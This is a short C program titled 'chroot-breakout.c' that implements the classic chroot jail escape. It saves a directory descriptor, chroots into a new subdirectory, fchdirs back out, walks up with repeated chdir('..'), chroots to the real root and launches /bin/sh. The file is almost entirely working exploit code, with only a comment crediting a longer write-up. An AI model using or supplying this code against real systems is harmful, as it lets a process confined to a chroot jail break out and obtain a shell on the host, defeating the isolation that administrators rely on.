chroot-breakout.c

// Shortened version of this:
// http://www.bpfh.net/simes/computing/chroot-break.html
#include <stdio.h>  
#include <errno.h>  
#include <fcntl.h>  
#include <string.h>  
#include <unistd.h>  
#include <sys/stat.h>  
#include <sys/types.h>  

int main() {  
    int x;            /* Used to move up a directory tree */  
    int dir_fd;       /* File descriptor to directory */  
    mkdir("chroot-breakout-dir", 0755);   
    dir_fd=open(".", O_RDONLY);
    chroot("chroot-breakout-dir");
    fchdir(dir_fd);
    close(dir_fd);  
    for(x = 0; x < 1024; x++) {  
        chdir("..");
    }  
    chroot(".");  
    system("/bin/sh");
}